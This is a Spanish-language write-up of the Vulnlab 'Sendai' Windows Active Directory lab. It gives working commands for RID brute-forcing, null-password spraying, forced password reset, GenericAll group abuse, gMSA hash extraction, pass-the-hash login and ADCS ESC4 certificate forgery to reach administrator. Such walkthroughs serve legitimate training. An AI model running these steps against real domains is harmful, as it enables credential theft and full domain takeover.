Sendai – Writeup (Vulnlab)

sendai

Content


Bash
                        ░██████╗███████╗███╗░░██╗██████╗░░█████╗░██╗
                        ██╔════╝██╔════╝████╗░██║██╔══██╗██╔══██╗██║
                        ╚█████╗░█████╗░░██╔██╗██║██║░░██║███████║██║
                        ░╚═══██╗██╔══╝░░██║╚████║██║░░██║██╔══██║██║
                        ██████╔╝███████╗██║░╚███║██████╔╝██║░░██║██║
                        ╚═════╝░╚══════╝╚═╝░░╚══╝╚═════╝░╚═╝░░╚═╝╚═╝
                                                        
                          |-WINDOWS - MEDIUM
                             |--- https://vulnlab.com
                                |------- https://myhack.tech

Bash

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
443/tcp   open  https            syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
49669/tcp open  unknown          syn-ack ttl 127
62820/tcp open  unknown          syn-ack ttl 127


Procedo a fuzzear el site http://sendai.vl/, no logro obtener demasiado salvo los 301 siguientes:

Bash
301   154B   http://sendai.vl/aspnet_client    -> REDIRECTS TO: http://sendai.vl/aspnet_client/
301   153B   http://sendai.vl/service?Wsdl     -> REDIRECTS TO: http://sendai.vl/service/?Wsdl
301   148B   http://sendai.vl/service          -> REDIRECTS TO: http://sendai.vl/service/


De este modo intento enumerar usuarios, básicamente bruteforceando RID con Null Sessions Cycle Attack.

Bash
nxc smb sendai.vl -u 'shkz' -p '' --rid-brute

Exporto el listado a un user.txt y luego lo filtro para dejar clean el archivo.


Con netexec realizó un User Spray con la lista de users.txt que formatie y con contraseña nula.
Obteniendo algo interesante:

Vemos que el usuario Elliot.Yates debería cambiar la contraseña. Esto podra ser posible utilizando smbpasswd.py de impacket.


Siguiendo nuestra idea de cambiar el password, vamos a intentarlo con el siguiente comando:

Bash
smbpasswd.py -newpass 'Mesa1234!' [email protected]


Veo que logro cambiarla. Procedo nuevamente a enumerar posibles recursos con el user Elliot.Yates y la
contraseña que he cambiado.

Bash
nxc smb sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --shares



Ingreso a los recursos vía smbclient.py. Y chequeo el share “CONFIG” en donde encuentro hardcodeada
una contraseña.

Bash
smbclient.py sendai.vl/Elliot.Yates:'Mesa1234!'@sendai.vl



Con el usuario Elliot.Yates que cambiamos la contraseña vamos a utilizarlo para usar el collector de
Bloodhound y poder ver donde estamos parado en el AD.

Bash
bloodhound-python -u 'Elliot.Yates' -p 'Mesa1234!' -ns 10.10.123.78 -d sendai.vl -c all --dns-
tcp --zip

Importo el .zip en bloodhound y observo lo siguiente. El user Elliot.Yates es miembro del grupo de
Soporte el cual tiene GenericAll sobre ADMSVC, donde podremos abusar y agregarnos con el user Elliot.



GenericAll: Da derechos totales al objeto en cuestión (con esto podemos agregar usuarios a un grupo o restablecer la contraseña del usuario)

Bash
net rpc group addmem 'ADMSVC' Elliot.Yates -U Elliot.Yates -I sendai.vl

Con el siguiente comando nos garantizamos que Elliot sea parte del grupo ADMSVC y si chequeo nuevamente el panorama con Bloodhound, vemos que esto surge efecto:



El ReadGMSAPassword privilege nos permite obtener acceso directo a mgtsvc$ al obtener el ntlm/password. Dejo un poco más de documentación al respecto en la siguiente imagen de la web de Bloodhound.


Ahora extraemos el NTLM de la cuenta mgtsvc$:

Bash
nxc ldap sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --gmsa



Ahora podemos conectarnos con evil-winrm:

Bash
evil-winrm -i 10.10.123.78 -u 'mgtsvc$' -H 'ntlm_hash'

Una vez dentro podemos probar algunas herramientas para escalar privilegios. En mi caso
intente con PowerUp.ps1 pero no funcionaba correctamente así que opte por la segunda opción que era
PrivesCheck.ps1. Encontrando credenciales hardcodeadas del user clifford.davey


Según las hints del inicio de la máquina vemos que la parte final, ROOT está basado en ADCS. Asi que vamos a enfocar el ataque a los templates y usaremos certipy



Bash
certipy find -u 'clifford.davey' -p '<pass>' -dc-ip 10.10.114.68 -ns 10.10.114.68 -debug -
vulnerable

Vemos que es vulnerable a ESC4:



Trabajamos con la template vulnerable: SendaiComputer

Bash
certipy template -username '[email protected]' -password '<pass>' -template
SendaiComputer -save-old


Luego ejecutamos lo siguiente:

Bash
certipy req -ca sendai-DC-CA -username '[email protected]' -password '<pass>' -target
'dc.sendai.vl' -template SendaiComputer -upn '[email protected]'

Finalmente obtenemos el administrator.pfx que nos permitirá con lo siguiente acceder al sistema y
rootear la máquina:

Bash
certipy auth -pfx administrator.pfx -dc-ip 10.10.114.68


Gracias por pasarse.

Share this :

2 Responses

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..